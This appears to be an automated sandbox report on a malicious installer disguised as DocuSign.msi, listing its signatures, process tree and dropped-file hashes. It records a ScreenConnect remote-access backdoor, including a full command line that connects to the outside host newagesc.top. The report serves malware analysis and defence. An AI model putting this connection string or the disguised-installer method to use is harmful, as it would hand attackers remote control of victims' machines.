Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    09/07/2026, 12:14

General

  • Target
    DocuSign.msi
  • Size 11.2MB
  • Sample260709-pegbqaaz31
  • SHA256 99be7e21da9cdb8266871137cd0236765e480bd6d056d00c1d6a9d1bef54f52b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 18 IoCs
  • Drops file in Windows directory 13 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\DocuSign.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:2004
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2072
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 542B277CB7AE76207288767301E187CD C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4884
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI6627.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240674531 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2940
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:224
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 85C8DD38DBE04CB7A2C5AC213E63A546
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4616
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 09D041FEA63B7FB233E8BC93D818B72E E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:1820
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:2204
    • C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=newagesc.top&p=8041&s=26bf3149-9cd9-402b-a73c-a6f7219f378a&k=BgIAAACkAABSU0ExAAgAAAEAAQDJhQchr6n1hscudB2bYkbur37n6TT2tB%2bKF3W6vBuxo78EQWuBCSfEAectwvCrNUkTMuD7uDhqU4lA5lZReZj9Nb3zEWfFY%2bUflN335k3hUaYc29Wcug5TYn6MpEZeSee4Xxnj5q8yjqcWhfuvY7RPeERvYXfzDVoP85i%2foRjlf%2fVhQjHRD%2fc46hH5Ou6l005ZMsru4kjXd%2b0OQOZxcFsaXchoVVfsfx7rlxzd%2b2psPqIFQfQRlEDdFwiT%2fIpuLGXBYtkLfRuGS9t1GxSJdPcmoHCrksJP94ILa90h9Q%2bj7DEpEf87AB93J3L6blm4w8QoVBIc%2bH%2fwJ6g9%2b0mlAtLr"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5000
      • C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\ScreenConnect.WindowsClient.exe" "RunRole" "d7dd3483-3bee-4c55-998f-6ddb197a1aad" "User"
        2⤵
        • Executes dropped EXE
        PID:4536
      • C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\ScreenConnect.WindowsClient.exe" "RunRole" "12fb4918-a154-4aae-99c9-39bf0a1d20e4" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:4252

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e58ad82.rbs

          • Path C:\Config.Msi\e58ad82.rbs
          • Size 214KB
          • SHA256 5129348e7f59321859653c894ff4bb68e08040393830dc1d01b6ee075b6a3380
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\Client.Override.resources
          • Size 15KB
          • SHA256 5c62dbe7af829bb414f78c2137c12c2f2af663b80522f3f23b1366bd01ad9ff5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\app.config
          • Size 1KB
          • SHA256 805e6e9447a4838d874d84e6b2cdff93723641b06726d8ee58d51e8b651cd226
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (9ad5514bd86bf25a)\system.config
          • Size 942B
          • SHA256 2909821adbd33516eadfde95c125e47c10c98954efdbbd34ab6501d087e17928
          • MD5 SHA1 SHA512 TLSH

          MSI6627.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI6627.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI6627.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI6627.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI6627.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI6627.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIAF09.tmp

          • Path C:\Windows\Installer\MSIAF09.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e58ad81.msi

          • Path C:\Windows\Installer\e58ad81.msi
          • Size 11.2MB
          • SHA256 99be7e21da9cdb8266871137cd0236765e480bd6d056d00c1d6a9d1bef54f52b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.1MB
          • SHA256 f4afcc8e8e22e0ab4f21846d406484c9ae8e7918a2fe7b18fd9753f45d918bc1
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {d116760e-9e6b-442e-aed9-dc320a4d2a7b}_OnDiskSnapshotProp

          • Path \??\Volume{d78106ee-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{d116760e-9e6b-442e-aed9-dc320a4d2a7b}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 4bd573481c74146a9910b9d8e2659edf85c1b4d27d8182971c6f89513221e0e8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2940-26-0x0000000005760000-0x00000000057EC000-memory.dmp

          memory/2940-31-0x0000000006100000-0x00000000066A4000-memory.dmp

          memory/2940-18-0x0000000005650000-0x000000000567E000-memory.dmp

          memory/2940-30-0x00000000059A0000-0x0000000005B4C000-memory.dmp

          memory/2940-22-0x0000000005690000-0x000000000569A000-memory.dmp

          memory/4536-116-0x0000000000BB0000-0x0000000000C48000-memory.dmp

          memory/4536-123-0x0000000002D70000-0x0000000002DB1000-memory.dmp

          memory/4536-122-0x0000000002C30000-0x0000000002C48000-memory.dmp

          memory/4536-121-0x0000000002BB0000-0x0000000002BC8000-memory.dmp

          memory/4536-117-0x0000000002BD0000-0x0000000002C06000-memory.dmp

          memory/4536-118-0x000000001BB90000-0x000000001BC1C000-memory.dmp

          memory/4536-119-0x000000001BDD0000-0x000000001BF7C000-memory.dmp

          memory/4536-120-0x000000001BF80000-0x000000001C106000-memory.dmp

          memory/5000-75-0x0000000004320000-0x0000000004338000-memory.dmp

          memory/5000-106-0x0000000004CB0000-0x0000000004D85000-memory.dmp

          memory/5000-102-0x0000000004AD0000-0x0000000004B62000-memory.dmp

          memory/5000-104-0x00000000047A0000-0x00000000047E1000-memory.dmp

          memory/5000-96-0x00000000049E0000-0x0000000004A30000-memory.dmp

          memory/5000-101-0x0000000004990000-0x00000000049C6000-memory.dmp